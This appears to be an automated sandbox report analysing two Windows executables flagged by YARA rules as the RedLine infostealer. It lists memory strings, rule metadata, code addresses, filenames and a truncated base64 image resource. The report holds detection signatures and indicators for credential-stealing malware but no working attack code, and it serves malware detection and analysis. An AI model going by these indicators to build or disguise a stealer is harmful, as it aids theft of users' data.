Source: lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: lZ8NRWShfC.exe, lZ8NRWShfC.exe, 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, TmfmVKU.exe, 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: lZ8NRWShfC.exe, TmfmVKU.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.lZ8NRWShfC.exe.3f18560.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.lZ8NRWShfC.exe.3f18560.7.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 8.2.lZ8NRWShfC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 8.2.lZ8NRWShfC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.TmfmVKU.exe.43b1478.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 10.2.TmfmVKU.exe.43b1478.7.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.TmfmVKU.exe.43b1478.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 10.2.TmfmVKU.exe.43b1478.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.lZ8NRWShfC.exe.3f30380.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.lZ8NRWShfC.exe.3f30380.8.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.TmfmVKU.exe.4399658.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 10.2.TmfmVKU.exe.4399658.6.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.lZ8NRWShfC.exe.3f30380.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.lZ8NRWShfC.exe.3f30380.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.TmfmVKU.exe.4399658.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 10.2.TmfmVKU.exe.4399658.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: lZ8NRWShfC.exe PID: 6884, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: lZ8NRWShfC.exe PID: 7216, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: TmfmVKU.exe PID: 7308, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 0_2_02D0D5BC	0_2_02D0D5BC
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 0_2_04F16C6B	0_2_04F16C6B
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 0_2_04F111C8	0_2_04F111C8
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 0_2_04F111B8	0_2_04F111B8
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 8_2_0106E7B0	8_2_0106E7B0
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 8_2_0106DC90	8_2_0106DC90
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 8_2_06369628	8_2_06369628
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 8_2_06364468	8_2_06364468
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 8_2_06361210	8_2_06361210
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 8_2_06363320	8_2_06363320
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 8_2_0636D108	8_2_0636D108
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 8_2_0636DD00	8_2_0636DD00
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 10_2_01A6D5BC	10_2_01A6D5BC
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 10_2_031A6094	10_2_031A6094
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 10_2_031A11BB	10_2_031A11BB
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 10_2_031A11C8	10_2_031A11C8
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 14_2_02BAE7B0	14_2_02BAE7B0
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 14_2_02BADC90	14_2_02BADC90
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 14_2_06534468	14_2_06534468
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 14_2_06539630	14_2_06539630
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 14_2_065336C8	14_2_065336C8
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 14_2_06531210	14_2_06531210
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 14_2_0653DA30	14_2_0653DA30

Source: lZ8NRWShfC.exe

Static PE information: invalid certificate

Source: lZ8NRWShfC.exe, 00000000.00000002.1761835638.000000000408E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs lZ8NRWShfC.exe
Source: lZ8NRWShfC.exe, 00000000.00000002.1761163536.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRT.dll. vs lZ8NRWShfC.exe
Source: lZ8NRWShfC.exe, 00000000.00000000.1670279738.0000000000C10000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDDDe.exe8 vs lZ8NRWShfC.exe
Source: lZ8NRWShfC.exe, 00000000.00000002.1764827174.00000000062B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs lZ8NRWShfC.exe
Source: lZ8NRWShfC.exe, 00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs lZ8NRWShfC.exe
Source: lZ8NRWShfC.exe, 00000000.00000002.1761163536.0000000002F09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs lZ8NRWShfC.exe
Source: lZ8NRWShfC.exe, 00000000.00000002.1763852790.0000000005980000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRT.dll. vs lZ8NRWShfC.exe
Source: lZ8NRWShfC.exe, 00000000.00000002.1759317214.000000000101E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs lZ8NRWShfC.exe
Source: lZ8NRWShfC.exe, 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs lZ8NRWShfC.exe
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002AE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs lZ8NRWShfC.exe
Source: lZ8NRWShfC.exe	Binary or memory string: OriginalFilenameDDDe.exe8 vs lZ8NRWShfC.exe

Source: lZ8NRWShfC.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.lZ8NRWShfC.exe.3f18560.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.lZ8NRWShfC.exe.3f18560.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 8.2.lZ8NRWShfC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 8.2.lZ8NRWShfC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.TmfmVKU.exe.43b1478.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 10.2.TmfmVKU.exe.43b1478.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.TmfmVKU.exe.43b1478.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 10.2.TmfmVKU.exe.43b1478.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.lZ8NRWShfC.exe.3f30380.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.lZ8NRWShfC.exe.3f30380.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.TmfmVKU.exe.4399658.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 10.2.TmfmVKU.exe.4399658.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.lZ8NRWShfC.exe.3f30380.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.lZ8NRWShfC.exe.3f30380.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.TmfmVKU.exe.4399658.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 10.2.TmfmVKU.exe.4399658.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: lZ8NRWShfC.exe PID: 6884, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: lZ8NRWShfC.exe PID: 7216, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: TmfmVKU.exe PID: 7308, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: lZ8NRWShfC.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: TmfmVKU.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: lZ8NRWShfC.exe, SliderControl.cs	Base64 encoded string: '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